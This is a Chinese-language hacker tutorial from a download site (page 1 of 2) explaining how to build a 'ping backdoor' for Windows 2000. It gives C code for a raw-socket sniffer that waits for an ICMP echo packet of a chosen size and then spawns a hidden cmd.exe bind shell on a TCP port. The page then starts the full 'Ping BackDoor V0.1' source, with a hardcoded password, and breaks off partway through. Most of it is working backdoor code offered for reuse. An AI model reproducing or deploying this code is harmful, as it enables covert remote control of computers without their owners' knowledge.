⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ping后门如何实现.txt

📁 可以对黑客编程有一定的了解
💻 TXT
📖 第 1 页 / 共 2 页
字号:
试验环境 Win2K + VC++6.0 

1. 初期的想法 

  在使用了小榕的Remotenc后,总觉得老是开放着一个端口不是很好,很容易被发现。能不能在Win2000下实现 
象Ping BackDoor for Linux/Solaris等类似的功能呢?把这个后门安装成服务,但不开端口,当接收到特定 
大小的ping 包以后,就打开一个特定的端口接收连接。OK,我来试试:) 

2. 尝试 

  记得以前玩lion worm时改写过一个Ping BackDoor for Linux,所以开始时我就想能不能把这个移植到Win2000 
下。于是就简单的改了一下,开了个连接,接受ICMP包(ICMP全称是Internet Control Message Protocol--互联网控 
制报文协议 它是IP协议的附属协议,用来传递差错报文以及其他需要注意的消息报文。我们常用的Ping就是用ICMP 
来进行通讯的),以为Windows能象linux下一样乖乖的把收到的ICMP包交给自己的 socket,结果ping了老半天没收到 
一个bit。 
  于是就开始在google上查找资料,最后终于知道了如果要在Win2000下实现类似Ping BackDoor for Linux的后门, 
必须以 sniffer 的方式监听ICMP包,而在win2000下写一个简单的sniffer并不需要自己编写驱动。:)中文详细资料 
请看绿盟zhangbo的 无需驱动程序的Sniffer-IPMon 一文, WinSock 2 允许程序使用WSAIoctl( )给一个SOCK_RAW类型 
的socket设置SIO_RCVALL属性,该socket就可以收到所有经过本机的数据。 

3.具体实现方法如下: 

  (1) 创建一个SOCK_RAW socket 
  // 创建一个原始socket, 接受所有接收的包(sniffer) 
  if ((socksniffer = WSASocket(AF_INET, SOCK_RAW, IPPROTO_IP, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET) 
  { 
    printf("WSASocket() failed: %d\n", WSAGetLastError()); 
    return -1; 
  } 

  (2) 将该socket与本机的某个网络接口绑定 
  // 取得本地地址 
  gethostname((char*)LocalName, sizeof(LocalName)-1); 
  if((hp = gethostbyname((char*)LocalName)) == NULL) 
  { 
    return -1; 
  } 
  memset(&dest,0,sizeof(dest)); 
  memcpy(&dest.sin_addr.s_addr, hp->h_addr_list[0], hp->h_length);  // TCP嗅探选项 
  dest.sin_family = AF_INET; 
  dest.sin_port = htons(8000);            // 指定任意端口 
  // socket bind 
  bind(socksniffer, (PSOCKADDR)&dest, sizeof(dest)); 

  (3) 用WSAIoctl( )给一个SOCK_RAW socket设置SIO_RCVALL属性 
  // 设置socket为接受所有包 
  WSAIoctl(socksniffer, SIO_RCVALL, &dwBufferInLen, sizeof(dwBufferInLen), &dwBufferLen, 
         sizeof(dwBufferLen),&dwBytesReturned , NULL , NULL ); 

  (4) 循环读取嗅探到的包,判断包的大小是否为设定要监听的包的大小再把数据交给 sniffer 解包程序处理 
   (当然你也可以先判断是否为ICMP包) 
  // 循环监听包的大小 
  while(1) 
  { 
    // 读数据 
    sread = recvfrom(socksniffer, recvbuf, MAX_PACKET, 0, (struct sockaddr*)&from, &fromlen); 
    // 如果读数据出错 
    if (sread == SOCKET_ERROR || sread < 0) 
    { 
      if (WSAGetLastError() == WSAETIMEDOUT) 
        continue; 
      printf("recvfrom failed: %d\n",WSAGetLastError()); 
      return -1; 
    } 
    else 
    // 如果读到数据的大小 == 监听包的大小 + 28 
    if ( sread == packsize + 28) 
    { 
      // 将接收到的数据交给 sniffer 解包程序处理 
      decode_sniffer(recvbuf, sread - 28, &from); 
    } 
  } 

  (5) sniffer 解包程序再判断读取的包是否为 ICMP_ECHO ICMP回显请求报文 
  sniffer解包这里的处理很简单,大家可以任意发挥.:) 

  1.首先定义IP和ICMP首部,以便于解包程序解包 
  // 定义IP 首部 
  typedef struct iphdr 
  { 
    unsigned char h_verlen;      // 4位首部长度,4位IP版本号 
    unsigned char tos;      // 8位服务类型TOS 
    unsigned short total_len;    // 16位总长度(字节) 
    unsigned short ident;      // 16位标识 
    unsigned short frag_and_flags;    // 3位标志位 
    unsigned char ttl;      // 8位生存时间 TTL 
    unsigned char proto;      // 8位协议(TCP, UDP 或其他) 
    unsigned short checksum;    // 16位IP首部校验和 
    unsigned int sourceIP;      // 32位源IP地址 
    unsigned int destIP;      // 32位目的IP地址 
  } IPHeader;          // IP首部长度为20 
  // 定义ICMP首部 
  typedef struct _ihdr 
  { 
    unsigned char i_type;      // 8位类型 
    unsigned char i_code;      // 8位代码 
    unsigned short i_cksum;      // 16位校验和 
    unsigned short i_id;      // 识别号(一般用进程号作为识别号) 
    unsigned short i_seq;      // 报文序列号 
  } ICMPHeader;          // ICMP首部长度为8 

 2. 简单sniffer解包程序,如果收到的包为ICMP_ECHO 类型,且大小为监听的包的大小,就开一个bindshell 
  // 简单Sniffer 解包程序 
  void decode_sniffer(char *buf, int bytes, struct sockaddr_in *from) 
  { 
    ICMPHeader *icmphdr; 

    // ICMP首部的地址等于buf+IP首部长度:buf+20 
    icmphdr = (ICMPHeader *)(buf + sizeof(IPHeader)); 
    // 简单判断如果为icmp 请求包 
    if (icmphdr->i_type == ICMP_ECHO) 
    { 
      // bind shell 
      bindshell(NULL); 
    } 
    else 
    printf("\r\n Get Other Packets!"); 

    return;  
  } 

  (6) bind shell的实现 
  1.在指定端口创建一个server socket接受连接 
  // 创建一个socket 
  bindServer = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
  // 服务器地址和端口指定 
  addrServer.sin_family = AF_INET; 
  addrServer.sin_port = htons(bport); 
  addrServer.sin_addr.s_addr = ADDR_ANY; 
  // 设置超时60s 
  int TimeOut = 60000; 
  setsockopt(bindServer, SOL_SOCKET, SO_RCVTIMEO, (char*)&TimeOut, sizeof(TimeOut)); 
  // 监听端口 
  bind(bindServer, (struct sockaddr*)&addrServer, sizeof(addrServer)); 
  listen(bindServer, 2); 
  printf("\r\n Bind Port on %d ok.", bport); 
  // 接受client连接 
  int iLen = sizeof(addrClient); 

  2.如果有连接进来就为连接新建一个socket句柄 getClient 
  // 接收1次连接 
  SOCKET getClient = accept(bindServer, (struct sockaddr*)&addrClient, &iLen); 
  if(getClient != INVALID_SOCKET) 
  { 
    // 如果有连接进来设置延时为60S 
    int iTimeOut = 60000; 
    setsockopt(getClient, SOL_SOCKET, SO_RCVTIMEO, (char*)&iTimeOut, sizeof(iTimeOut)); 
  } 
  else return -1; 

 3.有连接进来后开一个绑定cmd.exe的进程执行输入的命令,并把执行的结果返回给socket getClient 
   3.1 首先创建两个匿名管道,一个用于新进程的输入,一个用于新进程的输出 
  // 建两个匿名管道 
  HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;      
  SECURITY_ATTRIBUTES sa; 
  sa.nLength=12; 
  sa.lpSecurityDescriptor=0; 
  sa.bInheritHandle=TRUE; 
  CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0); // pipe1 
  CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0); // pipe2 
  
  3.2 创建一个绑定cmd.exe的进程, 由hReadPipe2读数据,向hWritePipe1写数据 
  // 创建一个cmd进程, 由hReadPipe2读数据,向hWritePipe1写数据 
  char cmdLine[] = "cmd.exe"; 
  STARTUPINFO siinfo; 
  PROCESS_INformATION ProcessInformation; 
  ZeroMemory(&siinfo,sizeof(siinfo)); 
  siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 
  siinfo.wShowWindow = SW_HIDE; 
  siinfo.hStdInput = hReadPipe2;            // 新进程读取写入pipe2的数据 
  siinfo.hStdOutput = siinfo.hStdError = hWritePipe1;  // 新进程向pipe1写数据 
 CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation); 

  3.3 循环读取hReadPipe1和连接是否有数据 
    把新进程的输出(hWritePipe1)数据写入新连接中, 
    把从socket getClient收到的数据写入进进程的输入管道(Pipe2) 
  unsigned long lBytesRead; 
  while(1) 
  { 
    // 检查管道pipe1是否有数据返回 
    ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); 

    if(lBytesRead) 
    { 
      // 从管道pipe1读数据 
      ret = ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); 
      if(!ret) break; 
       
      // 把从管道pipe1读到的数据写入连接 getClient 
      ret = send(getClient,Buff,lBytesRead,0); 
      if(ret <= 0) break; 
    } 
    else 
    { 
      // 如果连接 getClient 有接收到数据 
      lBytesRead = recv(getClient,Buff,1024,0); 
      if(lBytesRead <= 0) break;    
      // 把从连接 getClient 读到的数据写入Pipe2 
      ret = WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); 
      if(!ret) break; 
    } 
  } 

 (7) 程序完工:) 

4. 附简单的 Ping BackDoor for Win2K 源代码 
大家可以任意修改:) 
ICMP Shell for Win2K 正在编写中,请稍侯.:) 


/* ====================================================================== 

 Ping BackDoor V0.1 For Win2K 
 Code by Lion. Welcome to Http://www.cnhonker.net 
 
========================================================================= */ 

#include <stdio.h> 
#include <stdlib.h> 
#include <winsock2.h> 
//#include <ws2tcpip.h> 
#include <mstcpip.h> 

#define ICMP_ECHO 8          // ICMP回显请求报文的类型值为8 
#define ICMP_ECHOREPLY 0      // ICMP回显应答报文的类型值为0 
#define SNIFFER_ICMP_SIZE 101    // 监听ICMP包的大小 
#define BIND_PORT 8080        // 默认bind shell 端口 
#define MAX_PACKET 10000      // 最大ICMP包的大小 
#define DEF_PASSWORD "givemeshell!" // 默认密码 

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,(s)) 

// 定义IP 首部 
typedef struct iphdr 
{ 
  unsigned char h_verlen;      // 4位首部长度,4位IP版本号   1 
  unsigned char tos;        // 8位服务类型TOS        1 
  unsigned short total_len;    // 16位总长度(字节)       2  
  unsigned short ident;      // 16位标识           2 
  unsigned short frag_and_flags;  // 3位标志位          2 
  unsigned char ttl;        // 8位生存时间 TTL       1 
  unsigned char proto;      // 8位协议(TCP, UDP 或其他)    1 
  unsigned short checksum;    // 16位IP首部校验和        2 
  unsigned int sourceIP;      // 32位源IP地址         4 
  unsigned int destIP;      // 32位目的IP地址         4 
} IPHeader;              // IP首部长度为:        20 

// 定义ICMP首部 
typedef struct _ihdr 
{ 
  unsigned char i_type;      // 8位类型             1 
  unsigned char i_code;      // 8位代码             1 
  unsigned short i_cksum;      // 16位校验和          2 
  unsigned short i_id;      // 识别号(一般用进程号作为识别号)  2 
  unsigned short i_seq;      // 报文序列号           2 
} ICMPHeader;            // ICMP首部长度为:         8 

int sniffer();                      // 监听ICMP 大小 
void decode_sniffer(char *, int, struct sockaddr_in *); // 简单Sniffer 解包程序 
DWORD CALLBACK bindshell(LPVOID);            // bind shell 


DWORD dwBufferLen[10]; 
DWORD dwBufferInLen = 1; 
DWORD dwBytesReturned = 0; 
HANDLE bindthread; 


// ICMPDoor 主函数 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -